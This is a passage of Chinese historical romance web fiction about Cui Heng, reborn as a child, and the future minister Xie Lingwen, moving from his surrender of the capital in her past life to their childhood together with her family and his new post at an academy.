已经被乌云逼至天际线的暮色缓缓在大门中展开,曾经繁华的京城只剩满目颓败,身穿灰色长衫,拄着拐杖的青年自一片苍茫中缓步走出。
烈风卷起他的长袍,却没有影响到他的步伐,即使腿脚不便,他也目视前方,走得十分沉稳。
让人不禁感叹,不愧是执掌周朝政权多年的权臣谢令闻,连认降都不曾失了气魄。
“下官参见王爷。”他弯腰作揖,单薄的衣衫透出嶙峋的脊骨。
有惯阿谀奉承的下属见状,大着胆子怒斥:“既见王爷,为何不跪!?”
赵檐没有下马,摆了摆手让属下退后,垂下眼睫睥睨着谢令闻,淡淡道:“谢大人认降便是自己人,他腿脚不便,无需多礼。”
前几日二皇子与四皇子为入上京在汾县开战,谢令闻带着残余禁军趁势反扑,以少胜多,拿下四皇子的人头,让二皇子损失惨重。他自己也不慎被战马踩断腿,差一点便成了跛子。
这战谢令闻险胜,却再也没有其余法子与率兵直逼京师的赵檐对抗,他不顾众臣愤慨激昂地反对,执意认降,现在全上京都在骂他卖主求荣。
崔蘅居高临下地打量着谢令闻。
他似乎又瘦了一些,眉眼间也因见了血腥气而多了几分锐意,衣衫挂在他身上空荡荡地晃悠,一把瘦弱的文人骨,至此已被逼成开刃剑。
目光不期然撞上。
那双眼睛依旧淡然,没有羞愧,甚至没有闪躲她的目光,仿佛他来不是认降,只是和许多年前一样,奉旨迎接赵檐。
崔蘅与他相识数年,记忆里的他似乎一直平静、严肃、不苟言笑,像座沉默的山,没什么能让他惊哗。
“殿下,不如就让谢大人带我们入京,也好让天下人都知道,谢大人已代废太子认降。”
崔蘅说话间,视线再次落在谢令闻身上。
他也同样看着她,须臾,轻轻敛下眼睫,待赵檐答应后,低声应“是”。
身为人,便定会有贪痴爱恨嗔怒,可她在谢令闻身上却不曾看见过半点爱恨,即便大难临头,他也依旧面不改色。
长宣王府的军旗迎风飒飒作响,崔蘅骑马跟在赵檐身侧,而谢令闻拄拐引路,面前是愤怒的民众,身后是铁甲森森的千军万马。
“长宣王入京,清君侧,杀乱臣,跪——!”
百姓们接连跪下时,人群中忽然爆发出一声高呼:
“你才是师出无名的乱臣贼子!上一任长宣王便是因谋反被杀,你是他的儿子,你不能当皇帝!”
一声起,百声应。
“乱臣贼子!”
“滚出上京!”
“卖国贼!”
护卫见百姓越来越愤怒,纷纷拔剑围住赵檐。
无人理会的谢令闻被人群冲撞,拐杖不知被谁夺走,身形不稳,眼看就要摔倒在人群中。
崔蘅的反应比脑子更快。
她翻身下马,把谢令闻扯到自己身后,将剑横起缓冲挤过来的人群。
赵檐压着怒火让人疏通安抚百姓,将士们只好收下刀剑,任由百姓冲撞抓挠。
大街上一片混乱。
有百姓认出谢令闻,趁乱朝他扔石子泥巴,他的衣衫脏了,唇紧紧抿着,黑漆漆的眸子倒映着一张张扭曲的面容。
混乱平息后,赵檐命崔蘅找出带头闹事者,从那天后便闭门不出的谢令闻,却忽然拜访她。
崔蘅深夜归家,听仆人禀报有客至,微微一愣。
她推开门,屋子里橙黄的灯光便吞噬掉身边的夜色,青年站在灯前,正垂眼看着博古架上的狐狸木雕,细瘦的影子倒映在地上,触到她的鞋尖。
“谢大人深夜来访所为何事?”崔蘅解开披风,抖落一身夜色。
谢令闻把目光从小狐狸上移开,弯腰行礼,“见过崔大人。”
与谢令闻针锋相对多年,从前一直是崔蘅朝他行礼,现如今她胜了,轮到谢令闻低头,崔蘅心里却涌现出一股很奇怪的感觉。
……似乎是激动?
比不废一兵一卒打开上京城门还要让她难以平静。
崔蘅略过他坐到上首,笑意盈盈:“谢大人有事相求吧?”
“是。”谢令闻朝她低下头,“请崔大人放过无辜的百姓,他们并不懂何为夺嫡,只是容易受鼓动。”
崔蘅看着面前的谢令闻,指尖一下一下地敲击在椅子扶手上。
靖武帝宾天,太子幼年登基,二皇子与四皇子发起政变,赵檐蛰伏其中,大周被割据的四分五裂,上京似一块肥肉,豺狼虎豹无不妄想独吞。
谢令闻辅佐幼主的同时还要时时关注军报,堪称夙兴夜寐、呕心沥血,还未过三五便已早生华发。
“谢大人觉得值吗?”崔蘅忍不住问,“你那么拼命护着的人,随随便便就被鼓动去攻击你辱骂你,真的值吗?”
谢令闻的腿大约还未好全,虽持拐,脊背却依旧挺拔,轻声说:“只要是大周百姓,便值得。”
崔蘅凝视着他,思索良久,才得出一个词形容他。
——清澈。
她还是孩子时便领略到世间的可憎与世人的可恶,因此不对任何人抱有期待。谢令闻和她一样,从前过得并不是很好,却与她截然相反,选择保护这群蒙昧无知的人。
世间熙熙攘攘皆为利来,他就真的那么无私,甘愿付出?
她不信。
“谢大人慈悲心肠,为国为民,不愧为百官之首。”崔蘅站起身,稍稍靠近了他些,望向他漆黑的眼底,“但您也知道,求人办事,是要拿出诚意的。”
“可您——”她故意为难,轻笑着拉长声音,“目前似乎一无所有。”
谢令闻看着崔蘅,瘦削的面庞上满是平静。
崔蘅也不示弱,半是挑衅半是笑地回望过去。
对面人垂下眼,下一瞬,便撩袍跪下。
长袍柔顺地匍匐在地上,他却腰背笔直,暗光下的面容被削去三分锐意,透着几分病弱的苍白,依旧坚毅,“求您。”
崔蘅沉默地看着他,他便俯首,额头触碰到冰冷的地板,再次重复:“求您。”
雨打檐上瓦,声声急促。
前世谢令闻低哑的一声“求您”似乎仍萦绕在耳畔,崔蘅撑着伞推开谢家院子大门,少年谢令闻正坐在廊下打磨木雕。
隔着一层朦胧的雨帘,谢令闻盘腿坐在蒲垫上,眼睫低垂,眉目疏淡,少年气中夹杂着几分清郁。
见她站在原地愣神,他轻轻蹙起眉,“雨大,傻站在那里做什么?”
崔蘅回过神,提起裙子跑过去,“谢哥哥,这是给我雕的吗?”
伸手便要,倒不扭捏。
“嗯。”谢令闻妥帖地将支棱起来的木刺削掉,递给她。
崔蘅捧在手里看了又看,惊喜地叫出声:“是狸奴!好可爱!”
谢令闻正垂眼收刻刀,闻言动作一顿,“是兔子。”
他此时年纪尚幼,雕刻本领并不像前世那般炉火
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纯青。
崔蘅讪讪一笑:“其实我也觉得是兔子……”
檐外的雨愈发急促,雨幕与暗青的天空连接在一起,一片碧色。
谢令闻抿了抿唇,转身去挑木块,“我重新刻一个。”
崔蘅忙拦住他:“不用,我就喜欢这一个。”
她情急之下直接握住了他的手腕,瞪大的一双眼睛像清澈的清泉,清泉澄澈,独困他这一尾游鱼。
谢令闻蜷起指尖,轻轻点了点头。
暮色将至,微雨方歇,霞光绽放开来,为巷子尾的小溪染上粼粼金光。
崔显步履匆匆,经过谢家时,余光瞥到一角赤红。
崔蘅今日穿的正是赤色交领短衫。
他停住脚,往回走了两步,恰巧看到谢家正厅里,崔蘅脸上盖着一张帕子,趴在桌子上一动不动,谢令闻拿着一件银白色外衣给她披上。
他进了屋子,谢令闻看到他,微微一愣,“崔叔。”
崔显朝谢令闻点了点头,伸手把帕子掀开一角。崔蘅睡得正熟,胖乎乎的脸蛋染上两坨红晕,似是察觉到光亮,卷翘浓密的睫毛微微颤了颤。
他把帕子放下,又将女儿身上披着的袍子理了理。
“这是我阿娘新做的外衣。”谢令闻张口解释。
崔显没想太多,招手让他出来。
一场秋雨一场凉,经过这场雨的洗刷,暑气已经不见踪影,风一刮过,衣衫便透过几分凉意。
崔显看着少年依旧单薄的衣衫,叮嘱道:“天凉了,你也要注意多添衣。”
谢令闻端正地行了礼,应“是”。
崔显满意地点了点头,开始说自己真正的来意。
“我有一好友,名曰张书齐,是与我同年的秀才,现在宏德书院做申氏子弟的开蒙先生。近日他的侍书告假归家去了,他正缺人手,我便向他举荐了你,特此来问过你的意见。”
宏德书院的侍书待遇很好,不仅每月能拿一贯钱,还能跟着学生读书识字,要做的活也只不过是替先生磨墨,收拾些书。
谢令闻没想到崔显会举荐他,一时愣住。
崔显以为他不想去,便劝道:“开蒙课讲得虽浅显,却正适合你,你要知道人不能一步登天,若想有所成,必要踏踏实实一步一步走过去。”
“令闻知道,崔叔——”谢令闻抬起头,喉头一片哽塞,“我不知道该怎么报答您的恩情。”
崔家帮助他太多,阿娘都嫌弃他,可崔家却没有,连年纪很小的崔蘅都一口一个谢哥哥地喊他。
这份恩情,实在是太重了。
少年脸庞尤带稚嫩,一双眼睛却已经比同龄人深沉,他经历了很多超越年龄的痛苦,也体验过太多世间炎凉。
崔显发现了他的才能与天赋,也惊叹这孩子的毅力,却依旧担心他慧极必伤。
他无心给谢令闻施压,便道:“若真想报答,就替我好生看着阿蘅吧,她爱找你玩,还要劳烦你多照顾。”
谢令闻转眸望向屋内。
崔蘅还在睡,只是帕子已经掉在地上,露出白皙泛红的脸颊,雪白的外袍交缠着她赤红的裙子,显得她玉软花柔、颜如渥丹。
“令闻谨记。”谢令闻郑重地看着崔显,轻声道,“从此以后,我会将阿蘅视如亲妹。”
崔显笑着摇了摇头:“莫要太纵着她,这孩子被我和她阿娘宠惯了,得了好是要上天的。”
谢令闻没应声,他看着小娘子乖巧的睡颜,眼神逐渐变得柔软。
她那么乖,身上哪里有半点坏脾气。
就算真要上天又怎得?
星星或月亮,她皆配得。
16.温暖
崔蘅醒来时,天边已经挂上一弯弦月。
谢令闻正坐在旁边看书,眉目间满是专注,灯火幽幽,勾出他清瘦修长的身形。
崔蘅轻手轻脚地站起来,本想吓一吓他,却不想睡得太久,半边身子都麻了,站起来时浑身酸爽,让她直接惨叫出声。
谢令闻被她惊动,紧紧皱着眉,大步走过来,“哪里不舒服?”
崔蘅单脚胡乱跳着,像只乱蹦的兔子:“腿,腿麻了。”
他不敢碰她,眼睛紧紧盯着,生怕她摔了,“注意些脚下。”
崔蘅朝他伸出手,“谢哥哥过来一点,扶住我,我伸一伸腿。”
谢令闻把胳膊递过去,崔蘅便龇牙咧嘴地扶着他站稳,眼泪汪汪地道:“睡个觉都能半边瘫痪,我受不了了,我一定要习武!”
谢令闻不知道这二者有什么关联,便只听着她抱怨。
她抓着自己的胳膊,似乎特意收了力,掌心中的温热透过衣衫传到他身上,很奇怪的感觉,谢令闻不喜与人触碰,却并不讨厌这抹温热。
“崔叔说待你醒后就回去,丽姨做了烧鹅。”他待她缓解后才开口。
崔蘅是个馋猫,爱吃肉,听到有鹅吃便欢喜地咧开了嘴,高兴完,又看向谢令闻问:“谢哥哥和我一起回去吗?”
谢令闻点了点头,“我也去。”
“那我们快回去吧!”崔蘅更高兴了,跳着跃过门槛,裙角翻飞,似腾飞的赤鸟。
雨过路滑,谢令闻不许崔蘅蹦跳着走路,她便乖乖跟在他身边。
“今日是有客来吗?阿娘平日很少做那么硬的菜。”小娘子走在他身侧,嘟嘟囔囔地自言自语,袖子便缀着的流苏时不时扫过他指尖。
谢令闻感受着指尖一阵阵的酥痒,忽然轻声开口:“阿蘅,你不觉得靠近我后,很多事情都会变得非常糟糕吗?”
这是谢令闻第一次叫崔蘅的名字,如此亲昵的称呼后却是一个奇怪的问题。
崔蘅愣了一瞬,疑惑地反问:“什么事有变得糟糕?”
“前几日你来找我,就被福子砸到了头。”谢令闻垂下眼,嗓音低落,“若不是我,你不会受伤。”
“我受伤完全和谢哥哥没关系的呀!”小娘子停住脚,气鼓鼓地道,“福子不仅伤了我,也伤了你,是他的错,谢哥哥不要自责!”
“而且我没有感觉到在谢哥哥身边事情会变得糟糕,阿爹说’子不语怪力乱神’,谢哥哥不要多想,我和你在一起很开心呢!”
路面上积了些水,在月光下闪着粼粼波光,她的眼睛也亮闪闪的,瞧着比天上的月亮都要纯净。
见谢令闻不说话,她凑过来扯起他的袖子,故作凶狠地瞪了瞪他,像未断奶的狸奴冲人哈气,“谢哥哥光看着我怎么不说话,和我一起玩不开心吗?”
谢令闻回过神,轻声应一句“嗯”,便把她哄好了。
小娘子袖边的流苏又甩起来,笑声清脆:“回家吃大鹅喽!”
崔家后门被她推开,光亮倾泻而出。
崔家和谢家完全不一样,谢家院子里只有一片光秃秃的土地和两座只能算看得过去的屋子,一下雨便满地泥泞,连鸡鸭都死气沉沉。
崔家院子以青石砖铺地,丽娘与崔显每日清晨都会打扫,院子周边还有崔显喜欢的花花草草,它们被打理得很好,郁郁葱葱,生机盎然。
“阿爹阿娘,我和谢哥哥回来了!”
小娘子似小鸟般飞进院子,叽叽喳喳地说话。
“烧鹅呢烧鹅呢?我已经闻到香气了!怎么不见阿娘?阿娘还在忙吗?阿爹你在做什么?怎么又在看书!谢哥哥怎么还站在门口?快进来呀,你有没有闻到肉香?”
谢令闻站在门口,崔家院子泻出的光被院门挡住,在他脚下画出一道泾渭分明的线。
崔蘅站在那头笑着向他招手,“谢哥哥快来,我们一起去前面找阿娘!”
他便迈过那条线,一脚踏入光中,向她走去。
路过正在看书的崔显,他弯腰行了个随礼,见崔显颔首,才微微加快步伐去找崔蘅。
酒馆刚打烊,丽娘轰走一个酒醉闹事的汉子,翻着白眼把门咣铛一声甩上,转头看到一高一矮盯着她瞧的两个孩子,脸上顿时绽开笑。
“阿蘅令闻回来了?别急,烧鹅在炉子里吊着呢,待会才能吃。”丽娘随手给一人塞了一个点心,“去玩吧,等我收拾好店里就可以吃了。”
崔蘅一口吞下点心,腮帮
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子鼓起来,含含糊糊地道:“我和谢哥哥帮阿娘一起收拾。”
两人一个扫地一个收碗筷,配合的十分默契。
崔显也进来帮忙,看到谢令闻忙得额头上沁出细汗,便招呼他去歇着:“令闻明日一早还要随我去书院,今日莫要累着,免得睡过头。”
谢令闻还未来得及回话,崔蘅便急忙开口了:“谢哥哥为何要与阿爹一起去书院?我怎么不知道此事?”
“崔叔引荐了我去书院做侍书。”谢令闻怕她不悦,轻声解释,“当时你还在睡着。”
崔蘅没有介意二人趁她睡着偷偷商量大事,反而兴奋地道:“那太好了!谢哥哥不仅能赚到钱,还可以读很多书了!”
重重灯火映在她眸子里,灿若繁星,小娘子看着他笑,激动的双颊绯红。
她是真的为他高兴,也是真的想要他过得好。
眼看着一代权臣开始踏上青云路,崔蘅当然激动。
有疼爱的阿爹阿娘,身边还有谢令闻这个将来权倾朝野的权臣,只要不作死,身体原主人这辈子怎么过都能舒坦。
等将来她找到把身体还回去的办法,这就算她给小娘子的歉礼。
崔蘅一直压在心底的愧疚稍稍减轻一些,等烤鹅被分好端上来,她胃口大开,一口接一口地往嘴里塞肉。
丽娘把另一只鹅腿夹给谢令闻,慈和地道:“以后在书院里若是碰上什么麻烦事,尽管去找你崔叔,他就爱管这些。”
崔显忙着准备解腻的梅子酱,闻言乐呵呵地点了点头:“是是是,我就爱管这些。”
谢令闻将碟子端起来,站起身恭敬地接过丽娘夹来的鹅腿,“又要麻烦丽姨崔叔。”
丽娘嗔怪道:“有什么麻烦的,快坐下,再见外我可就生气了!”
“你丽姨说的是,不麻烦。”崔显把梅子酱放到他身侧。
崔蘅擦了擦嘴边的油,也跟着接话:“阿爹阿娘说得对,不麻烦不麻烦。”
谢令闻畏寒,无论冬夏,身上总冰凉一片,今日却不曾感觉到身上发冷,连指尖都散着暖意。
从前他没什么想要的,现在有了。
他想护好崔家,护好崔蘅,把天底下所有的好东西都送给她。
17.赞赏
第二日,天刚蒙蒙亮,崔显和丽娘便起身了。
二人年纪渐大,觉也越来越少,听得任何一点动静都是要醒的,不比崔蘅,即使天塌下来也能睡得香甜。
丽娘打开房门,拿着扫帚扫院子,崔显便又去摆弄他的花花草草。
清晨浸在凉润清新的雾气中,天空散发着柔和的光,飘渺而澄澈,云雀随风掠过,只留一串叽叽喳喳的尾音。
丽娘和崔显边做着活边商议小酒馆的事务,一片宁和中,却听得“嘎吱”一声门响。
二人偏头望去,见崔蘅揉着眼睛,迷迷糊糊地跨出门。
她应是还困得厉害,走得歪歪扭扭,最后索性坐到门槛上,朝丽娘和崔显眯着眼笑:“阿爹阿娘早安。”
“阿蘅今日为何起那么早?”丽娘去接了温水,把刷牙子与牙香筹递给崔蘅,“是想送你阿爹与谢哥哥吗?”
“是。”崔蘅有些迟钝地点了点头,“我还要练武。”
“练武?”
丽娘与崔显对视一眼,“练什么武?”
崔蘅仰头灌了口温水漱口,吐掉水后,困意消散大半。
“练能防身的武。”她把刷牙子塞进嘴里,含含糊糊地道,“以后若是有人欺负我和谢哥哥还有阿爹阿娘,我便一拳把他打趴下。”
“练武太苦。”崔显皱起眉,用商量地语气问女儿,“阿爹为你请个护卫可好?”
崔家并不算十分富裕,若要为崔蘅请护卫,必要拨出大半开销,崔显从不吝啬在自己女儿身上花钱,更何况此事关乎女儿安危。
崔蘅摇摇头:“我不怕苦。”
命是自己的,本领是别人的,两样都自己抓着才算安心。
丽娘没有出声反对,她知道世道往后只会越来越乱,女子有些防身本领再好不过。
“白日练武,夜间读书,你能受得住吗?”
崔蘅看向略显严厉的阿娘,端正了神色,坚定道:“我能,我不怕累。”
“好,阿娘相信你。”丽娘笑着摸了摸崔蘅的脑袋,“明日阿娘便为你去打听武先生。”
“阿娘最好了。”小娘子高兴地笑开,露出两个梨涡。
崔显将丽娘拉到一旁,压低声音:“她还小,何必学那么多以后不一定有用的东西,若要累坏了可怎么办?”
丽娘看了眼正认真漱口的女儿,又看了眼满脸担忧的崔显,无奈道:“她都快九岁了,哪里小?”
“与阿蘅年纪相仿的申氏女儿皆仆妇成群,金尊玉贵地养着,而阿蘅竟还要因受欺负学武防身。”崔显说着,越发觉得愧疚,以袖掩面,不禁潸然泪下。
丽娘知道他一直愧疚不能给她和阿蘅更好的生活,轻声安慰道:“显哥,阿蘅是我们亲自抚养长大的女儿,她的品性你最了解,我们不喜欢那等富贵日子,咱们一家人平平淡淡的过日子便足够了。”
是,崔显了解女儿。
她是他们捧在手心的明珠,却从不娇纵任性,向来体贴。她不是娇嫩的名花,是坚韧的野草,骤雨打在身上,她也会伸个懒腰,笑言:“好凉快呀!”
“大黄来了!”
随着几声犬吠,小娘子欢快的声音荡漾在晨风里。
夫妇俩看着蹬蹬蹬跑向门口,和大黄抱在一起玩耍的女儿,再多的烦恼,在看到活泼快乐的女儿时,都一并消散了。
崔蘅给大黄拿了点昨日剩下的鸭肉,她细心地剥掉鸭皮,挑去肉里残余的骨刺,一点点喂给大黄。
等大黄吃完,一人一狗便朝谢家去了。
“谢哥哥,你起床了吗?”崔蘅没敢太大声,怕吵到周围邻居。
院子里传来轻微的脚步声,下一瞬,门便被打开。
谢令闻应当是刚洗漱完,额前的碎发还带着湿气,一双眸子似被水洗过,湿润清透,整个人如雪中青松,冷冷清清,不易接近。
他弯下腰,先摸了摸仰头盯着他的大黄,再直起腰时,对上崔蘅的眼睛。
水汪汪的眼睛,黑如玛瑙,直勾勾地看着他笑,似乎也是在期待他摸摸头。
谢令闻摩挲了下指尖,躲过她的视线,“走吧。”
大黄左边是谢令闻,右边是崔蘅,两人一狗往崔家走。
丽娘见谢令闻来了,便放下手里的活,笑道:“令闻到的正是时候,我刚把最后一针缝完。”
她抖开手里的衣衫,一袭月白色翠竹交领长袍便亮在众人眼前。
“这是你崔叔年轻时的衣裳,他老了,不宜这种鲜亮的颜色,给你正合适。”
丽娘往他身上比了比,眼瞧着正合身,便催促他去换上。
谢令闻张了张嘴,正要拒绝,又听丽娘道:“你是与你崔叔一同去的,穿得好些也是给他长面子。”
他抿起唇,转而拜谢过二位长辈,便拿了衣裳去店小二的寝房换上。
待他撩开帘子出来,崔家三口连带店小二都愣住了。
很难看吗?
谢令闻的目光扫过众人,最终停在崔蘅身上。
小娘子看呆了,愣愣地道:“谢哥哥,你真好看。”
少年脱掉暗沉泛旧的粗布麻衣,换上颜色鲜亮的月白色长袍,终于散了些阴郁气,眉眼被照亮,似珠玉拂去尘埃,露出其原本的颜色,光华夺目,摄人心魄,让人移不开眼。
“果真是鲜衣怒马少年郎,不错不错。”崔显赞叹着,眼里满是对谢令闻的欣赏。
丽娘围着谢令闻看了一圈,也是满脸笑,对自己的手艺满意得不行,“腰有些宽,不过不要紧,你还要长个子呢。”
“谢哥哥,我也有东西要送你。”
崔蘅连忙把自己准备的掏出来。
是一个稍大些的锦囊,上面没什么花纹,一片素色,淡雅却耐看。
崔蘅把锦囊打开给他瞧,“里面有一点糖耳朵和小块的乳饼,都是我爱吃的。”
谢令闻点了点头,伸手接过去,圆滚滚的锦囊在他掌心中翻了个跟头,露出下面以银色丝线歪歪扭扭勾出的“令”字。
原来另有玄机。
小娘子羞红了脸,小声道:“我原本想把你的名字全绣上去的,可另外两个字太难了……”
丝线凸起的纹路硌着指腹,谢令闻轻轻按了按,轻声安慰她:“绣得很好。”
“真的吗!?”她又开心起来,挺起胸膛,美滋滋地道,“那我给阿爹阿娘也绣一个。”
一切准备妥当后,崔显和谢令闻用过早饭便出门了。
崔蘅和丽娘送至门前。
“阿爹、谢哥哥,晚上早些回来,我和阿娘在家等着你们。”
小娘子亦步亦趋地跟着。
“家”这个陌生的字眼化为暖流盈入心间,烫得谢令闻指尖发热。
原来有人等着回家是这种感觉。
“嗯,我早些回来。”
得了他随口一句承诺,崔蘅便似乎放了心
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,不再往前跟着。
待二人走远后,丽娘在酒馆看账本,崔蘅便去了后院倒腾东西。
她翻出阿娘给谢令闻剪裁衣服时剩下的几块布料,抓了几把土包起来缝住,又用绳子绑好,捆到自己腿上,以增加自己走路时抬腿的重量,一能稳固身形,二能增加体能,锤炼毅力。
前世她在王府做赵檐的随从,也是这个年纪和他一起练武,武先生便是这般教的。
崔蘅这一世还只是个小孩子,绑上重物走路难免吃力,她适应了一会儿后才能勉强正常行走。
到了前厅,酒馆里没什么人,丽娘站在柜台后拨着算盘,眉头紧紧皱着。
崔蘅擦掉额头上的汗,趴到台面上,“阿娘为何皱眉?是因为最近家里生意不好吗?”
以往熟识老客皆在这个点来光顾,最近几日店里却越来越冷清。
“隔壁街也开了家酒馆,比咱们卖的便宜,客人大都去了他们那,咱们若也降价,便成亏本买卖了。”丽娘愁眉不展,“现在的生意真是越发难做了。”
崔蘅安慰道:“阿娘莫急,咱们家开了好些年,谁家的酒醇客人们日后自有定夺,过些日子应会好起来一些。”
丽娘叹了口气:“但愿如此吧。”
崔蘅见阿娘没了笑颜,便把原先的读书计划搁置,在酒馆里帮忙倒酒打扫。
大半天下来,她发现客人数量少了不止大半。以前崔家酒馆总闹哄哄的,各形各色的客人都有,今天却只有寥寥几个,还都是熟悉的街坊。
崔蘅皱紧眉头,决定帮阿娘好好想想办法。
她一头扎进书房,寻找有没有关于商业的书,午饭也只匆匆扒了几口,五层架子上的书都被她翻了遍。
日头西斜,崔蘅腰酸背痛,自书中抬起头时,余光瞥到坐在窗台上的小大黄,她枕着手臂,望向天边的云霞,想起谢令闻。
谢哥哥在忙吗?
“不忙。”谢令闻放下手中学生的课业,站起身朝张书齐作了个揖,“先生有何吩咐?”
张书齐很喜欢老友举荐的这个孩子,沉稳,做事也认真。
方才他将学生的课业交由他检阅,他认认真真地一张张看过去,错字全用朱笔圈出来改正,遇到自己也没有把握的,便恭敬地问过先生才作决定,并没有因为这些课业出自五六岁孩子之手而懈怠。
“剩下的明日再看,下堂课你跟着我一起去。”张书齐交给他一本书,“这是我最近在讲的内容,你先拿着看。”
这是谢令闻第一次碰到书,他郑重地接过,一拜到底,“令闻谢过先生。”
张书齐摆了摆手:“没什么要谢的,你若是做得不好,亦或是不珍惜机会,我也会是翻脸的。”
谢令闻没有因他的话露怯,反而眼神更加坚定,“令闻省的。”
张书齐负责为申氏六岁左右的孩子开蒙,这群自小养尊处优的小郎君天不怕地不怕,心情不好可能还会冷着脸老老实实坐着,心情好便满屋子乱窜。
张书齐管不住,也没资格管,索性任由他们闹腾,自己讲自己的。
谢令闻在最后一列端端正正地坐着,于噪杂声中准确辨别到先生的声音,周围孩子的尖叫吵闹声对他没有丝毫影响,他认真地在宣纸上记下先生所讲的内容,字迹工整,就算有孩子不慎碰到他的手臂,一撇一捺也清晰笔直。
张书齐与站在窗外的崔显对视一眼,都能看到彼此眼中的赞赏。
18.日常
夕阳斜照在书院里,清风缓缓拂过,吹皱一池静水,惊走游鱼。一天的讲学终于结束,孩子们皆散去,黄昏下的书院祥和而宁静。
崔显站在窗边,上半身微微前倾,目光落在谢令闻桌案的纸张上。
张书齐正要替他提醒谢令闻,被他制止。
“他在写什么?”
“我方才布置的课业。”张书齐望向脊背笔直的少年,有些无奈,“这孩子聪敏,我允他不必在太浅显的课业上耽搁时间,他却不肯,是个性子倔的。”
崔显笑开,叹道:“此子严于律己,冰清玉洁,来日必成大器。”
张书齐缓缓点了点头,眼中映着少年奋笔疾书的模样,却叹了口气:“希望他能走出这里,不要像我们一样……”
“会的,他正值青春年少。”
树叶飒飒作响,书院后青山不改,水清天阔,崔显的声音随风而去,“我与你也还在,这条路不再荆棘丛生,他与诸多儿郎都将走出青州,去往我们没能去的地方,完成我们未竟的事情。”
“所有肮脏的事与卑鄙的人,终将焚于这些孩子所持的火炬中。”
日暮西沉,霞云也逐渐隐去,皎皎明月自天际线挣扎而上,等谢令闻写完最后一笔出门时,崔显和张书齐方对弈完一局。
张书齐败阵,扯着崔显的衣袖不让走,嚷着要再来。
崔显哭笑不得,将袖子扯回来,“余家中还有妻儿等候,子由今日便饶过我罢。”
“罢了罢了,早知你是妻管严。”张书齐松开手,送崔显与谢令闻出院。
二人一边走一边谈话,谢令闻跟着二老身后,默不作声地听着。
还未至大门前,便听得一道脆生生的女孩儿嗓音:“阿爹!张伯伯!”
三人一同望过去,只见一个眼睛圆而清亮,面容娇俏似粉桃儿的小娘子站在门外,露出两颗小虎牙和梨涡朝着他们笑。
“阿蘅?”崔显连忙迎上去,“天色那么晚,你怎得自己跑过来了?你阿娘知道吗?”
丽娘自然不知,崔蘅原是跑出来去看那家新开的酒楼,两条街离得不远,她看完了便顺便来宏德书院等崔显与谢令闻。
“阿娘知道呀。”崔蘅的眼睛滴溜溜转了转,连忙跑到张书齐身边,“好久没见张伯伯,您看着精神又健硕了些呢!”
“是好久没见,阿蘅似乎又长高了。”
张书齐喜欢崔蘅,便轻轻拍了拍她的头,朝崔显道,“孩子大了,你也莫要看太紧。”
有人护着,崔蘅更加嚣张,朝自家阿爹吐了吐舌头。
小娘子今日穿的翠色宽袖交领衫,动作间衣诀飘飘,如被风拂动的嫩柳。
谢令闻忽然感觉自己的袖子被轻轻扯了扯,他转眸望过去,对上一双狡黠含笑的眸子。
小娘子偷偷偏过头,对他眨了眨眼。
“阿爹,我想吃艾窝窝,谢哥哥和我一起去买!”
还没反应过来,掌心便被一只柔嫩的手握住,他被崔蘅牵着跑起来,面颊拂过丝丝香风。
“怎么不等等阿爹?”
崔显急忙朝她伸出手,却没抓住如鸟儿般飞走的女儿。
前方崔蘅的银铃似的笑声传过来:“阿爹太慢啦!”
张书齐乐了:“两个孩子玩得好好的,你个老头子跟着做什么?”
“女儿总要多注意些。”崔显冷哼,“你这种孤家寡人能懂什么?”
张书齐被他戳了下心窝子,冷笑道:“待阿蘅出嫁,你可别哭得太难看。”
两个死对头刺了对方一通,满意地各回各家。
崔蘅与谢令闻脚程快,已经跑到安平坊最热闹的大街上。
各种摊贩卖的玩意儿与小食叫崔蘅看花了眼,她如飞舞在花丛中的蝴蝶,一会儿出现在那头,一会儿又从这边闪出来。
“哇,好漂亮呀!”
崔蘅看着面前的绢孩,眼神放光。
绢孩儿又称绢人,以金属丝或木竹为骨架,棉花与纱绢填充期中,发为丝,衣为锦帛或粗布,多用于富裕人家的孩童取乐。
她也有许多绢孩儿,有些是阿爹买的,有些是阿娘做的,但都不如面前这个漂亮新奇。
“小娘子识货,这是自海外传来的绢孩儿,在他们那边叫做’稻儿’,此稻儿便是按照海外人仿制而成,银发大眼,还穿着他们特有的伞式裙。”小贩靠近崔蘅,伸出三根手指,“只要这个数!”
“三个铜板!?”崔蘅惊呼,伸手就去拿,“我要了!”
小贩一把收回去,脸上的笑变为不屑,“三个铜板你买俩肉包子都费劲,这个三贯钱!”
崔蘅垮下脸,拉起身边的谢令闻就走。
“很喜欢吗?”他低声问。
“不喜欢。”小娘子轻哼,“便是三个铜板我也更愿意买肉包子。”
她大概不知道,自己撒谎时爱抠指甲。
谢令闻看了眼她撕得光秃秃的指甲,隔着衣袖握住她的手腕,“前面有你爱吃的酥印儿。”
崔蘅的注意力被转开,兴冲冲地朝前去,“那我们先买酥印儿!”
谢令闻顺势松开手,手心的温度很快散去,他看着小娘子雀跃的背影,没有强留指尖的温热。
崔蘅买到艾窝窝,还吃了酥印儿,心满意足地跟谢令闻回去。
“谢哥哥今日在书院如何?”她一边拿着酥印儿啃,一边还要问他的事情。
小娘子腿短,又只顾着吃,走不快,谢令闻拎着油纸包,也放慢脚步。
“今日很好。”
“有人欺负你吗?”
“没有。”
“书院的中饭好吃吗?”
“尚可。”
他向来话少,崔蘅早已习惯。二人你问我答,一直走到崔家。
崔显早就到了,正忙着帮丽娘收拾屋子,面色十分难看。
“阿爹,是发生什么事了吗?”崔蘅敏锐地察觉到家里气氛的沉重。
丽娘恰巧抱着被褥出来,闻言回道:“下月你婶娘要将你堂兄送来在家里借宿几日,方便参加择鱼宴。”
“我本意是不让他们来,可你阿娘非要答应下来。”崔显接过丽娘手里的被褥,叹了一口气,“崔安这个孩子从小便被娇惯,不懂事得紧,我怕他闯出什么祸来。”
谢令闻帮崔显将被褥晾到院子的架子上,听丽娘道:“一个孩子而已,惹不出什么大祸,况且你能考到举人也有嫂子出的一份力,人情咱们是必须还的。”
崔家贫苦,世代在地
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里刨食,莫说读书,就连择鱼宴也不知为何。
崔家嫂子刚嫁过来那阵子,瞧着崔显爱在地上写写画画,隔壁读过书的邻居都夸他是神童。
旁人只当是逗孩子,她却听进心里。择鱼宴开始之前,她变卖自己唯一的嫁妆做车马费,带着崔显去到洲城申家,给他报了名。
一个小小的举动,改变了崔显的一生。
这些年来,崔家虽与老宅基本断了来往,却依旧会断断续续地送些银钱或吃食回去。
